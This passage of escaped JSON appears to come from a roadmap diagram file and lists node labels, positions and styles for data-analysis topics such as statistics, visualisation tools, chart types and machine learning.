     \"selectable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BJTVa4ur_bJB7mMtD2-hQ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Central Tendency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": -711.321810236714,\n        \"y\": 907.9740268980099\n      },\n      \"width\": 212,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -711.321810236714,\n        \"y\": 907.9740268980099\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NEplo6r1F2EJSO3NOv1z8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -629.321810236714,\n        \"y\": 1077.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2183E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"dlucpec8QmC5N_xmVBgLJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 54,\n      \"positionAbsolute\": {\n        \"x\": -629.321810236714,\n        \"y\": 1077.4045877729018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 54\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 54\n      }\n    },\n    {\n      \"id\": \"nYqQXh3j-d5mpOhyTO6dW\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -713.321810236714,\n        \"y\": 1109.5814615179638\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Generating Statistics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 12,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yOEspbP24pJctynHMd0eL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -713.321810236714,\n        \"y\": 1109.5814615179638\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Sz2Y8HLbSmDjSKAJztDql\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Tableau\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n3M49lgNPn28hm7kzki-a\"\n      },\n      \"position\": {\n        \"x\": 22.118578138237808,\n        \"y\": 1290.4045877729018\n      },\n      \"width\": 115,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 22.118578138237808,\n        \"y\": 1290.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SJLeose5vZU8w_18C8_t0\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Power BI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ict4JkoVM-AzPbp9bDztg\"\n      },\n      \"position\": {\n        \"x\": 22.118578138237808,\n        \"y\": 1343.4045877729018\n      },\n      \"width\": 115,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 22.118578138237808,\n        \"y\": 1343.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tvDdXwaRPsUSTqJGaLS3P\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Matplotlib\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"muFy-C2agCX9vR_NU7UZF\"\n      },\n      \"position\": {\n        \"x\": 140.6185781382378,\n        \"y\": 1289.4045877729018\n      },\n      \"width\": 101,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 140.6185781382378,\n        \"y\": 1289.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-cJb8gEBvdVFf7FlgG3Ud\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Seaborn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n3M49lgNPn28hm7kzki-a\"\n      },\n      \"position\": {\n        \"x\": 140.6185781382378,\n        \"y\": 1342.4045877729018\n      },\n      \"width\": 206,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 140.6185781382378,\n        \"y\": 1342.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n3M49lgNPn28hm7kzki-a\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"ggplot2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SJLeose5vZU8w_18C8_t0\"\n      },\n      \"position\": {\n        \"x\": 245.678189763286,\n        \"y\": 1289.4045877729018\n      },\n      \"width\": 101,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.678189763286,\n        \"y\": 1289.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zq6DItyQQ2Sxpzm5ZBJUX\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 22.118578138237808,\n        \"y\": 1235.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 12,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yOEspbP24pJctynHMd0eL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 22.118578138237808,\n        \"y\": 1235.4045877729018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1YilPs0bQSuHkMeMiJfO-\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 140.6185781382378,\n        \"y\": 1235.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yOEspbP24pJctynHMd0eL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.6185781382378,\n        \"y\": 1235.4045877729018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hieeryNX0lh6B8Alh77vi\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 24,\n        \"y\": 1401.9045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Charting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 12,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yOEspbP24pJctynHMd0eL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 24,\n        \"y\": 1401.9045877729018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"EVk1H-QLtTlpG7lVEenDt\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Bar Charts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K9xwm_Vpdup9ujYqlD9F3\"\n      },\n      \"position\": {\n        \"x\": 24,\n        \"y\": 1456.4045877729018\n      },\n      \"width\": 157,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24,\n        \"y\": 1456.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v9T0DX56jFNhUz9nzubzS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Line Chart\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"muFy-C2agCX9vR_NU7UZF\"\n      },\n      \"position\": {\n        \"x\": 24,\n        \"y\": 1509.4045877729018\n      },\n      \"width\": 157,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24,\n        \"y\": 1509.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A5YQv7D4qRcskdZ64XldH\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Scatter Plot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"muFy-C2agCX9vR_NU7UZF\"\n      },\n      \"position\": {\n        \"x\": 24,\n        \"y\": 1562.4045877729018\n      },\n      \"width\": 157,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24,\n        \"y\": 1562.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"muFy-C2agCX9vR_NU7UZF\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Funnel Charts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n3M49lgNPn28hm7kzki-a\"\n      },\n      \"position\": {\n        \"x\": 24,\n        \"y\": 1615.4045877729018\n      },\n      \"width\": 157,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24,\n        \"y\": 1615.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FEyBFZLaGJqTC-IUEcOVS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Histograms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K9xwm_Vpdup9ujYqlD9F3\"\n      },\n      \"position\": {\n        \"x\": 184.678189763286,\n        \"y\": 1457.4045877729018\n      },\n      \"width\": 164,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.678189763286,\n        \"y\": 1457.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"329BrtmXjXNLfi1SFfdeo\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Stacked Charts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K9xwm_Vpdup9ujYqlD9F3\"\n      },\n      \"position\": {\n        \"x\": 184.678189763286,\n        \"y\": 1510.4045877729018\n      },\n      \"width\": 164,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.678189763286,\n        \"y\": 1510.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G8resQXEVEHCaQfDlt3nj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Heatmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K9xwm_Vpdup9ujYqlD9F3\"\n      },\n      \"position\": {\n        \"x\": 184.678189763286,\n        \"y\": 1563.4045877729018\n      },\n      \"width\": 164,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.678189763286,\n        \"y\": 1563.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K9xwm_Vpdup9ujYqlD9F3\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Pie Charts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"muFy-C2agCX9vR_NU7UZF\"\n      },\n      \"position\": {\n        \"x\": 184.678189763286,\n        \"y\": 1616.4045877729018\n      },\n      \"width\": 164,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.678189763286,\n        \"y\": 1616.4045877729018\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 323,\n      \"height\": 49,\n      \"id\": \"2g19zjEASJw2ve57hxpr0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 22.118578138237808,\n        \"y\": 1147.5814615179638\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Visualisation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 22.118578138237808,\n        \"y\": 1147.5814615179638\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"TeewVruErSsD4VLXcaDxp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -402.821810236714,\n        \"y\": 1330.7503022792923\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Statistical Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -402.821810236714,\n        \"y\": 1330.7503022792923\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3vIpMdHQ8BVgUuu1S_mSJ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -407.47806963137555,\n        \"y\": 1262.5718689856715\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn to analyze relationships and make data driven decisions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 0,\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 55,\n      \"positionAbsolute\": {\n        \"x\": -407.47806963137555,\n        \"y\": 1262.5718689856715\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 259\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"Xygwu0m5TeYT6S_8FKKXh\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Hypothesis Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lTycWscyFPi-BtkNg9cdm\"\n      },\n      \"position\": {\n        \"x\": -714.8814218617622,\n        \"y\": 1277.270762802686\n      },\n      \"width\": 198,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -714.8814218617622,\n        \"y\": 1277.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"murioZ0NdrTix_lqSGz-8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Correlation Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lTycWscyFPi-BtkNg9cdm\"\n      },\n      \"position\": {\n        \"x\": -714.8814218617622,\n        \"y\": 1330.270762802686\n      },\n      \"width\": 198,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -714.8814218617622,\n        \"y\": 1330.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lTycWscyFPi-BtkNg9cdm\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Regression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ict4JkoVM-AzPbp9bDztg\"\n      },\n      \"position\": {\n        \"x\": -714.8814218617622,\n        \"y\": 1383.270762802686\n      },\n      \"width\": 198,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -714.8814218617622,\n        \"y\": 1383.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mCUW07rx74_dUNi7OGVlj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Visualizing Distributions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lTycWscyFPi-BtkNg9cdm\"\n      },\n      \"position\": {\n        \"x\": -714.8814218617622,\n        \"y\": 1178.5814615179638\n      },\n      \"width\": 228,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -714.8814218617622,\n        \"y\": 1178.5814615179638\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g45cn450Awr2W5hadxKY3\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -374.821810236714,\n        \"y\": 1431.9045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Topics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16,\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"uZD9Hf3dY9acGZAmmQtdw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": -374.821810236714,\n        \"y\": 1431.9045877729018\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 191\n      },\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 67\n      }\n    },\n    {\n      \"width\": 195,\n      \"height\": 49,\n      \"id\": \"f4GuzeokP9w_gwtOquP0g\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -376.821810236714,\n        \"y\": 1556.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Machine Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -376.821810236714,\n        \"y\": 1556.4045877729018\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XdBwqLoYYiLJNlWPBEDUj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Reinforcement Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Xygwu0m5TeYT6S_8FKKXh\"\n      },\n      \"position\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1551.270762802686\n      },\n      \"width\": 233,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1551.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FntL9E2yVAYwIrlANDNKE\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Unsupervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"murioZ0NdrTix_lqSGz-8\"\n      },\n      \"position\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1604.270762802686\n      },\n      \"width\": 233,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1604.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FIYCkGXofKMsXmsqHSMh9\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Supervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lTycWscyFPi-BtkNg9cdm\"\n      },\n      \"position\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1657.270762802686\n      },\n      \"width\": 233,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1657.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HAKzVeRkJWxLc-kFmkpkH\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -483.321810236714,\n        \"y\": 1503.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"wITmMpWlQy2z-fhJJsuJS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 475,\n      \"positionAbsolute\": {\n        \"x\": -483.321810236714,\n        \"y\": 1503.4045877729018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 475\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 475\n      }\n    },\n    {\n      \"id\": \"vHDm_9Lh4EqvXNYSOBaqZ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Decision Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XdBwqLoYYiLJNlWPBEDUj\"\n      },\n      \"position\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1765.270762802686\n      },\n      \"width\": 233,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1765.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zbUw5PyVsdccbgDTRHg7d\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Naive Byes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SStzU_iXSvI_9QWbvGNou\"\n      },\n      \"position\": {\n        \"x\": -723.8814218617622,\n        \"y\": 1818.270762802686\n      },\n      \"width\": 157,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n 